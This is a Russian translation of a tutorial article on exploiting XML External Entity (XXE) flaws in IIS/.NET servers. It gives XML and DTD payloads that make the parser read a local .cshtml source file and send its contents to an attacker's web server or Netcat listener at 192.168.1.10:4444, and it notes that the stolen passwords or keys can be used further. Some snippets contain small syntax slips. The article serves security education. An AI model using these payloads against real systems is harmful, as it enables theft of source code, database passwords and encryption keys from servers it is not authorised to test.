Эксплуатация уязвимостей XXE в IIS/.NET

Эксплуатация уязвимостей XXE в IIS/.NET

В этой статье будет продемонстрирована последовательность действий, необходимых для осуществления XXE-атаки против IIS-серверов, использующих фреймворк Microsoft .NET.

Автор: Chris Davis

XXE-атаки (XML External Entity; Внешние XML-сущности) случаются в тех местах, где XML-парсер некорректно обрабатывает входные пользовательские данные, содержащие определения внешних сущностей в doctype внутри полезной нагрузки на базе XML. Внешняя сущность может содержать добавочный код, позволяющий злоумышленнику считать конфиденциальную информацию в системе или выполнить потенциально намного более вредоносные действия.

В этой статье будет продемонстрирована последовательность действий, необходимых для осуществления XXE-атаки против IIS-серверов, использующих фреймворк Microsoft .NET. Однако мы не будем особо углубляться в фундаментальные основы этих технологий. Если вы хотите больше подробностей, обращайтесь к ссылкам в конце статьи.

Что такое XXE

Ниже показан пример объявленного внешнего параметра с именем extentity, который использует директиву SYSTEM для загрузки содержимого URI. Затем вызывается инструкция %extentity; для инициации запроса HTTP GET к назначенному URI.

<?xml version="1.0" encoding="utf-8"?-->
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil">
%extentity;
]
>

Та же самая директива может быть использована для доступа к локальному файлу в системе:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
[<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">
%extentity;
]
>

Однако в XML предусмотрены ограничения, которые не позволят использовать пример выше. Вместо загрузки файла c:/inetpub/wwwroot/Views/secret_source.cshtml возникнет ошибка.

С другой стороны, мы можем встроить сущность внутри сущности внутри нашей полезной XML-нагрузки. Например:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity "<!ENTITY stolendata SYSTEM ?file:///c:/inetpub/wwwroot/Views/secret_source.cshtml'>">
%extentity;
]
<

К сожалению, этот пример тоже нерабочий, поскольку в XML запрещено декларировать внешние сущности внутри значений.

Мы не можем ссылаться на файл в системе, но можем заставить парсер получить ресурс через URI. Для решения нашей задачи можно попробовать загрузить DTD-файл (Data Type Definition; определение типа данных). DTD-файлы загружаются прежде, чем парсится XML-файл, и определяют, как правильно интерпретировать XML-файл. Попробуем внедрить запрещенные полезные нагрузки с сущностями внутри DTD-файла для обхода ограничений.

Например, мы можем загрузить XML-файл, показанный ниже, в парсер, который указывает на DTD-файл. При вызове инструкции %extentity;, происходит загрузка содержимого DTD-файла (evil.dtd) через URI:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
%extentity;
]
>

Теперь нам нужно на этом IP-адресе организовать веб-сервер с открытым портом 4444, где в корневой директории находится файл evil.dtd. Содержимое DTD-файла показано ниже:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://192.168.1.10:4444/?%stolendata;'>">

В первой строке указывается версия XML и кодировка. Во второй строке указан файл с конфиденциальными данными, который мы хотим прочитать. В третьей строке происходит создание новой сущности и связывание файла из переменной stolendata с URI. По адресу в URI расположен наш веб-сервер с открытым портом 4444. При помощи этого трюка мы обходим ограничения в XML.

Рисунок 1: Схема использования DTD-файла

На рисунке выше показаны первые несколько шагов процесса использования полезной нагрузки:

1. Мы загружаем на IIS-сервер первоначальную полезную XML-нагрузку, которая указывает системе, что нужно загрузить DTD-файл с нашего удаленного веб-сервера.

2. XML-парсер доходит до указанного URI для получения содержимого DTD-файла.

3. XML-парсер загружает содержимое DTD-файла перед обработкой основной полезной нагрузки.

На данный момент нам удалось успешно обойти ограничения. Однако теперь нужно вызвать сущности, объявленные в DTD-файле, чтобы получить и отправить на веб-сервер содержимое конфиденциального файла secret_source.cshtml. Чтобы решить эту задачу, нужно вставить %inception; и %sendit; после %extentity; в первоначальном XML-файле перед отправкой полезной нагрузки. Теперь наша первоначальная полезная XML-нагрузка должна выглядеть так:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
%extentity;
%inception;
%sendit;
]
<

Рисунок 2: Полная схема реализации XXE-атаки

Теперь XML-парсер отошлет содержимое целевого файла (secret_source.cshtml), встроенного в URI внутри GET-запроса, на веб-сервер или слушатель Netcat на порту 4444. Исходные файлы, содержащие конфиденциальную информацию: пароли от базы данных или ключи шифрования, будут получены нами и впоследствии могут использоваться для получения более ценных сведений.

Примечание: Все же ограничения в этом методе существуют. XML-парсер выдаст ошибку, если содержимое файла превысит 2000 байт из-за ограничений на длину URI.

Полезные ссылки:

OWASP: XML External Entity (XXE) Processing

XML Security Cheat Sheet

Microsoft: ENTITY (XML) .NET Framework

W3schools: XML DTD

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться